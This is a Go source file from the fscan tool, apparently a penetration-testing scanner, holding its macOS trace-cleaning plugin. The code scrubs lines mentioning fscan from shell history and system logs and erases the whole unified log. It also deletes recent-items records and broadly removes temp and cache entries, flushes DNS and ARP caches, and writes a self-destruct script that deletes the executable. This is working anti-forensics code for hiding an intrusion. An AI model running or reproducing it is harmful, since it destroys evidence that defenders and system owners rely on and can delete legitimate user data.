fscan/Plugins/local/cleaner/cleaner_darwin.go
ZacharyZcR c0374a6250 feat: 添加跨平台系统痕迹清理本地插件
- 实现Windows/Linux/macOS三平台痕迹清理功能
- Windows: 清理事件日志、预取文件、注册表、最近文档、临时文件、网络缓存
- Linux: 清理Shell历史、系统日志、用户缓存、临时文件、网络缓存
- macOS: 清理Spotlight索引、LaunchServices数据库、系统日志、缓存文件
- 支持安全文件删除和程序自毁功能
- 采用保守策略避免误删重要文件
2025-08-11 11:51:36 +08:00

404 lines
11 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build darwin
package cleaner
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
// cleanSystemTraces 清理macOS系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理Shell历史记录
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
cleaned = append(cleaned, shellHistory...)
report["shell_history"] = shellHistory
}
// 2. 清理系统日志
if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 {
cleaned = append(cleaned, systemLogs...)
report["system_logs"] = systemLogs
}
// 3. 清理最近项目记录
if recentItems := p.cleanRecentItems(); len(recentItems) > 0 {
cleaned = append(cleaned, recentItems...)
report["recent_items"] = recentItems
}
// 4. 清理Spotlight索引
if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 {
cleaned = append(cleaned, spotlight...)
report["spotlight_index"] = spotlight
}
// 5. 清理临时文件
if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 {
cleaned = append(cleaned, tempFiles...)
report["temp_files"] = tempFiles
}
// 6. 清理LaunchServices数据库
if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 {
cleaned = append(cleaned, launchServices...)
report["launch_services"] = launchServices
}
p.cleanupStats["system_entries"] += len(cleaned)
report["total_cleaned"] = len(cleaned)
return report
}
// cleanShellHistory 清理Shell历史记录 (与Linux类似)
func (p *CleanerPlugin) cleanShellHistory() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// macOS常见的Shell历史文件
historyFiles := []string{
".bash_history",
".zsh_history",
".sh_history",
}
for _, histFile := range historyFiles {
histPath := filepath.Join(homeDir, histFile)
if _, err := os.Stat(histPath); os.IsNotExist(err) {
continue
}
content, err := os.ReadFile(histPath)
if err != nil {
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
continue
}
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
} else {
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
}
}
}
// 清理当前会话历史
if err := exec.Command("history", "-c").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
} else {
cleaned = append(cleaned, "Current session history")
common.LogSuccess("已清理当前会话历史记录")
}
return cleaned
}
// cleanMacSystemLogs 清理macOS系统日志
func (p *CleanerPlugin) cleanMacSystemLogs() []string {
var cleaned []string
// macOS系统日志路径
logPaths := []string{
"/var/log/system.log",
"/var/log/install.log",
"/var/log/secure.log",
}
// 用户日志目录
homeDir := os.Getenv("HOME")
if homeDir != "" {
userLogDir := filepath.Join(homeDir, "Library", "Logs")
if entries, err := os.ReadDir(userLogDir); err == nil {
for _, entry := range entries {
if strings.Contains(strings.ToLower(entry.Name()), "fscan") {
logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name()))
}
}
}
}
for _, logPath := range logPaths {
if _, err := os.Stat(logPath); os.IsNotExist(err) {
continue
}
if p.filterLogFile(logPath) {
cleaned = append(cleaned, logPath)
}
}
// 使用log命令清理系统日志
if err := exec.Command("log", "erase", "--all").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err))
} else {
cleaned = append(cleaned, "Unified Logging System")
common.LogSuccess("已清理统一日志系统")
}
return cleaned
}
// filterLogFile 过滤日志文件 (与Linux类似)
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
return false
}
defer file.Close()
content, err := os.ReadFile(logPath)
if err != nil {
return false
}
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
return false
}
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
return true
}
return false
}
// cleanRecentItems 清理macOS最近项目记录
func (p *CleanerPlugin) cleanRecentItems() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 最近项目plist文件
recentPaths := []string{
filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"),
filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"),
}
for _, recentPath := range recentPaths {
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
continue
}
// 对于plist文件我们采用删除整个文件的方式
if strings.HasSuffix(recentPath, ".plist") {
if err := os.Remove(recentPath); err != nil {
common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err))
} else {
cleaned = append(cleaned, recentPath)
common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath)))
}
}
}
return cleaned
}
// cleanSpotlightIndex 清理Spotlight索引
func (p *CleanerPlugin) cleanSpotlightIndex() []string {
var cleaned []string
// 重建当前目录的Spotlight索引
if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil {
common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err))
} else {
cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory))
common.LogSuccess("已重建Spotlight索引")
}
return cleaned
}
// cleanMacTempFiles 清理macOS临时文件
func (p *CleanerPlugin) cleanMacTempFiles() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
// macOS临时目录
tempDirs := []string{
"/tmp",
"/var/tmp",
}
if homeDir != "" {
tempDirs = append(tempDirs, []string{
filepath.Join(homeDir, "Library", "Caches"),
filepath.Join(homeDir, "Library", "Application Support"),
}...)
}
for _, tempDir := range tempDirs {
entries, err := os.ReadDir(tempDir)
if err != nil {
continue
}
for _, entry := range entries {
entryName := strings.ToLower(entry.Name())
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") {
entryPath := filepath.Join(tempDir, entry.Name())
// 检查文件修改时间
if info, err := entry.Info(); err == nil {
if time.Since(info.ModTime()) < 5*time.Minute {
continue
}
}
if entry.IsDir() {
if err := os.RemoveAll(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
p.cleanupStats["directories"]++
}
} else {
if err := os.Remove(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
}
}
}
}
}
return cleaned
}
// cleanLaunchServicesDB 清理LaunchServices数据库
func (p *CleanerPlugin) cleanLaunchServicesDB() []string {
var cleaned []string
// 重建LaunchServices数据库
if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil {
common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err))
} else {
cleaned = append(cleaned, "LaunchServices Database")
common.LogSuccess("已重建LaunchServices数据库")
}
return cleaned
}
// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 清理DNS缓存
if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
} else {
cleaned = append(cleaned, "DNS Cache (dscacheutil)")
common.LogSuccess("已清理DNS缓存")
}
// 清理mDNS缓存
if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil {
common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err))
} else {
cleaned = append(cleaned, "mDNS Cache")
common.LogSuccess("已重启mDNSResponder")
}
// 清理ARP缓存
if err := exec.Command("arp", "-d", "-a").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
} else {
cleaned = append(cleaned, "ARP Cache")
common.LogSuccess("已清理ARP缓存")
}
report["network_caches"] = cleaned
report["total_cleaned"] = len(cleaned)
return report
}
// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用)
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
report := make(map[string]interface{})
// 创建shell自毁脚本
shellScript := fmt.Sprintf(`#!/bin/bash
sleep 2
rm -f "%s" 2>/dev/null
rm -f "$0" 2>/dev/null
exit 0`, p.currentExecutable)
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
report["status"] = "failed"
report["error"] = err.Error()
} else {
// 异步执行自毁脚本
go func() {
time.Sleep(1 * time.Second)
cmd := exec.Command("/bin/bash", scriptPath)
cmd.Start()
}()
report["status"] = "scheduled"
report["script_path"] = scriptPath
common.LogInfo("已创建自毁脚本,将在退出后执行")
}
return report
}
// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
return p.createUnixSelfDestruct()
}